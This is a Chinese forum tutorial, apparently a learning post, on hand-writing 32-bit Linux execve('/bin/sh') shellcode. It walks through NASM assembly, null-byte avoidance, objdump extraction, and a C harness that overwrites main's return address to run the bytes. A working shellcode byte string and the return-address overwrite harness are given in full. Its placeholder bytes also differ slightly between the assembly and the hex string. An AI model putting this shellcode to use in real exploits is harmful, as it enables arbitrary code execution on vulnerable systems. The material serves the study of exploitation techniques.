在linux下用汇编写execve(),抽出machine code,写入.c 文件中, spawn a shell,尽量写的詳細了
写这个一是给别人看,二也是帮助自己理清思路,欢迎吐槽这是在32位机器下的代码,不是64位
用汇编写linux中的系统调用execve()之前应该man execve一下
说明一下寄存器的使用
int execve(const char *filename, char *const argv[], char *const envp[]);
1execve 的system call number 11放在 eax中
2filename 的地址放在 ebx中
3 argv 指向的地址放在ecx中
4 envp 指向null地址 ,放在edx中
我的机器上的系统号是在
/usr/include/asm/unistd_32.h
在C中怎样调用execve()
程序代码:
#include <unistd.h> int main(int argc, char *argv[]){ char *shell[2]; shell[0] = "/bin/sh"; shell[1] = NULL; execve(shell[0],shell,NULL); return 0; }
下面则是intel的語法写execve(),文件execve.asm
程序代码:
section .text global _start _start: jmp short callit # 'short'不要少了,否则会出现多余的null,跳到callit shellcode: pop esi # pop出stack中的字符串地址放入esi中,因为现在开始需要使用了 xor eax, eax # 这是很保险的将eax设为0的方法 mov byte [esi+7], al # 字符X只是一个place holder,前面已经把eax清0了所以现在使用 eax最低位的al,把这一个字节的null放在X位置,这句是为下一句做准备 lea ebx, [esi] #这时再把esi(字符串的地址)放入ebx中,这是为execve()的第一个参数做准备 mov long [esi+8], ebx #这句最难理解,先看上面C语言版本, 这是为第二个 参数做准 备,esi+8就是AAAA这4个字节的地址。4个字节是32位,我现在要把ebx(里面是字符串的地址)放到AAAA中去,所以说AAAA 也只是一个place holder,为了存放一个32位的地址 mov long [esi+12],eax # 这是为第三个参数做准备,将一个32位的null放入place holder的BBBB中 mov byte al,0x0b # 好了,现在把execve()的系统调用号11号放入eax的最下位的al中 mov ebx, esi # 现在是第一个参数,字符串的位置放入ebx lea ecx, [esi+8] # 第二个参数,要点是这个参数类型是char **, 如果/bin/sh有其它参数的话,整个程序写法就又不一样了 lea edx, [esi+12] # 最后是null的地址,注意,是null的地址,不是null,因为写这是为了shellcode做准备,shellcode中不可以有null int 0x80 callit: call shellcode db '/bin/shXAAAABBBB' #把字符串放在这里是为了call shellcode的时候把字符串地址push到stack中
总体说来就是我们准备好各个参数,把它们放到一个字符串里,要用的时候来取就可以了
到现在为止,第一个难关已经攻破,接下来一步是把上面的汇编转为机器码
程序代码:
$ nasm -f elf execve.asm $ ld -o execve execve.o $ objdump -d execve
程序代码:
execve: file format elf32-i386 Disassembly of section .text: 08048060 <_start>: 8048060: eb 1a jmp 804807c <callit> 08048062 <shellcode>: 8048062: 5e pop %esi 8048063: 31 c0 xor %eax,%eax 8048065: 88 46 07 mov %al,0x7(%esi) 8048068: 8d 1e lea (%esi),%ebx 804806a: 89 5e 08 mov %ebx,0x8(%esi) 804806d: 89 46 0c mov %eax,0xc(%esi) 8048070: b0 0b mov $0xb,%al 8048072: 89 f3 mov %esi,%ebx 8048074: 8d 4e 08 lea 0x8(%esi),%ecx 8048077: 8d 56 0c lea 0xc(%esi),%edx 804807a: cd 80 int $0x80 0804807c <callit>: 804807c: e8 e1 ff ff ff call 8048062 <shellcode> 8048081: 2f das 8048082: 62 69 6e bound %ebp,0x6e(%ecx) 8048085: 2f das 8048086: 73 68 jae 80480f0 <callit+0x74> 8048088: 58 pop %eax 8048089: 41 inc %ecx 804808a: 41 inc %ecx 804808b: 41 inc %ecx 804808c: 41 inc %ecx 804808d: 42 inc %edx 804808e: 42 inc %edx 804808f: 42 inc %edx 8048090: 42 inc %edx
上面几步都是例行公事,这时会发现机器码中没有null
最后是在C文件中执行这块机器码. shell.c
程序代码:
#include <stdio.h> char shellcode[] = "\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x58\x41\x41\x41\x41\x4b\x4b\x4b\x4b"; int main(void) { int *ret; ret = (int *)&ret + 2; (*ret) = (int)shellcode; }
int *ret : 在stack上定义了一个指针,它正好在main 函数参数的下方
ret = (int *)&ret + 2; : 我们取ret的地址(int *), 并且这个地址是32位的,再加2的话就表示加了64位,
(为什么是加2,这里是有假设的,假设这是一个x86的32位机器) 最后ret里面的地址是main函数结束时
的返回地址,我们要改定的就是这个返回地址,一般来说main()结束之后则跳回返回地址, 但是
我们把返回地址改写成了shellcode的地址,就是为了main结束时执行shellcode 代码。通过下面这句话
(*ret) = (int)shellcode;
也许对照着下面的图就能明白了吧,local variable (ret)上面的8字节处就是return address,我们改写的就是这个地址
+-------------------------+
| function arguments | |
| (e.g. argv, argc) | | (假设stack是向下发展的,从高到低)
+-------------------------+ <-- ss:esp + 12 |
| return address | |
+-------------------------+ <-- ss:esp + 8 V
| saved ebp register |
+-------------------------+ <-- ss:esp + 4 / ss:ebp - 0
| local variable (ret) |
+-------------------------+ <-- ss:esp + 0 / ss:ebp - 4
明白esp和ebp之间的关系很重要
最后的最后,编译, 表相信网上说的 gcc -o shell shell.c 神马的,都是骗人的
你需要做的是加上 gcc 的-z execstack 选项
$ gcc -z execstack -o shell shell.c $ ./shell
当你成功后就可以把shellcode中最后9个
"\x58\x41\x41\x41\x41\x4b\x4b\x4b\x4b"
place holder 拿掉了
也许能有帮助的一些连接
http://www.
http://www.
[ 本帖最后由 madfrogme 于 2012-7-29 13:20 编辑 ]